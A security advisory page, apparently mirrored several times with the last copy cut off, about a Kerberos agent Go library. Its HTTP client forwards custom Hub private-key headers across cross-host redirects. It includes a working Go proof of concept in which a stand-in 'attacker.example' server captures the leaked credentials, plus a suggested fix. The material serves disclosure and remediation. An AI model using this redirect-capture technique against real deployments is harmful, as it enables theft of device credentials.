### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) defer legit.Close() installResolver(map[string]string{ "legit.example": strings.TrimPrefix(legit.URL, "http://"), "attacker.example": strings.TrimPrefix(attacker.URL, "http://"), }) os.MkdirAll("data/recordings", 0o755) os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644) cfg := &models.Configuration{ Config: models.Config{ HubURI: "http://legit.example", // operator-configurable base URL HubKey: "PUBLIC-KEY-12345", HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK", Key: "device-key", }, } cfg.Config.S3.Region = "us-east-1" _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4") mu.Lock() defer mu.Unlock() fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv) fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub) } ``` ### End-to-end reproduction Pinned to `github.com/kerberos-io/agent/[email protected]`. Verbatim `kerberos_hub.go` from that tag. Captured stdout: ``` legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1) attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1) calling cloud.UploadKerberosHub then client.Do [INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example) [INFO] UploadKerberosHub: Upload started for clip.mp4 [legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example [attacker host attacker.example] received HEAD /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK) [legit host legit.example] received POST /storage/upload -> 302 to attacker.example [attacker host attacker.example] received GET /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload Finished, 200 OK. ----- RESULT ----- attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target ----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) ----- attacker saw Authorization = "" (stdlib strips standard auth header cross-host) attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug) ``` The negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header. ### Suggested fix Set a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host: ```go checkRedirect := func(req *http.Request, via []*http.Request) error { if len(via) > 0 && req.URL.Host != via[0].URL.Host { req.Header.Del("X-Kerberos-Hub-PrivateKey") req.Header.Del("X-Kerberos-Hub-PublicKey") } return nil } client = &http.Client{CheckRedirect: checkRedirect} ``` A regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it. ### Fix PR A fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork. ### Credit Reported by tonghuaroot.
### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) defer legit.Close() installResolver(map[string]string{ "legit.example": strings.TrimPrefix(legit.URL, "http://"), "attacker.example": strings.TrimPrefix(attacker.URL, "http://"), }) os.MkdirAll("data/recordings", 0o755) os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644) cfg := &models.Configuration{ Config: models.Config{ HubURI: "http://legit.example", // operator-configurable base URL HubKey: "PUBLIC-KEY-12345", HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK", Key: "device-key", }, } cfg.Config.S3.Region = "us-east-1" _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4") mu.Lock() defer mu.Unlock() fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv) fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub) } ``` ### End-to-end reproduction Pinned to `github.com/kerberos-io/agent/[email protected]`. Verbatim `kerberos_hub.go` from that tag. Captured stdout: ``` legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1) attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1) calling cloud.UploadKerberosHub then client.Do [INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example) [INFO] UploadKerberosHub: Upload started for clip.mp4 [legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example [attacker host attacker.example] received HEAD /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK) [legit host legit.example] received POST /storage/upload -> 302 to attacker.example [attacker host attacker.example] received GET /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload Finished, 200 OK. ----- RESULT ----- attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target ----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) ----- attacker saw Authorization = "" (stdlib strips standard auth header cross-host) attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug) ``` The negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header. ### Suggested fix Set a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host: ```go checkRedirect := func(req *http.Request, via []*http.Request) error { if len(via) > 0 && req.URL.Host != via[0].URL.Host { req.Header.Del("X-Kerberos-Hub-PrivateKey") req.Header.Del("X-Kerberos-Hub-PublicKey") } return nil } client = &http.Client{CheckRedirect: checkRedirect} ``` A regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it. ### Fix PR A fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork. ### Credit Reported by tonghuaroot.
Update github.com/kerberos-io/agent/machinery to 0.0.0-20260528173546-51f1a52e170f if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanKerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect affects github.com/kerberos-io/agent/machinery (go). Severity is medium. ### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) defer legit.Close() installResolver(map[string]string{ "legit.example": strings.TrimPrefix(legit.URL, "http://"), "attacker.example": strings.TrimPrefix(attacker.URL, "http://"), }) os.MkdirAll("data/recordings", 0o755) os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644) cfg := &models.Configuration{ Config: models.Config{ HubURI: "http://legit.example", // operator-configurable base URL HubKey: "PUBLIC-KEY-12345", HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK", Key: "device-key", }, } cfg.Config.S3.Region = "us-east-1" _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4") mu.Lock() defer mu.Unlock() fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv) fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub) } ``` ### End-to-end reproduction Pinned to `github.com/kerberos-io/agent/[email protected]`. Verbatim `kerberos_hub.go` from that tag. Captured stdout: ``` legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1) attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1) calling cloud.UploadKerberosHub then client.Do [INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example) [INFO] UploadKerberosHub: Upload started for clip.mp4 [legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example [attacker host attacker.example] received HEAD /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK) [legit host legit.example] received POST /storage/upload -> 302 to attacker.example [attacker host attacker.example] received GET /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload Finished, 200 OK. ----- RESULT ----- attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target ----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) ----- attacker saw Authorization = "" (stdlib strips standard auth header cross-host) attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug) ``` The negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header. ### Suggested fix Set a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host: ```go checkRedirect := func(req *http.Request, via []*http.Request) error { if len(via) > 0 && req.URL.Host != via[0].URL.Host { req.Header.Del("X-Kerberos-Hub-PrivateKey") req.Header.Del("X-Kerberos-Hub-PublicKey") } return nil } client = &http.Client{CheckRedirect: checkRedirect} ``` A regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it. ### Fix PR A fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork. ### Credit Reported by tonghuaroot.
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/kerberos-io/agent/machinerygo | <0.0.0-20260528173546-51f1a52e170f | 0.0.0-20260528173546-51f1a52e170f |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/kerberos-io/agent/machinery to 0.0.0-20260528173546-51f1a52e170f if you use the affected versions. Test the change in a non-production environment first.
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hol-guard supply-chain scanKerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect affects github.com/kerberos-io/agent/machinery (go). Severity is medium. ### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) defer legit.Close() installResolver(map[string]string{ "legit.example": strings.TrimPrefix(legit.URL, "http://"), "attacker.example": strings.TrimPrefix(attacker.URL, "http://"), }) os.MkdirAll("data/recordings", 0o755) os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644) cfg := &models.Configuration{ Config: models.Config{ HubURI: "http://legit.example", // operator-configurable base URL HubKey: "PUBLIC-KEY-12345", HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK", Key: "device-key", }, } cfg.Config.S3.Region = "us-east-1" _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4") mu.Lock() defer mu.Unlock() fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv) fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub) } ``` ### End-to-end reproduction Pinned to `github.com/kerberos-io/agent/[email protected]`. 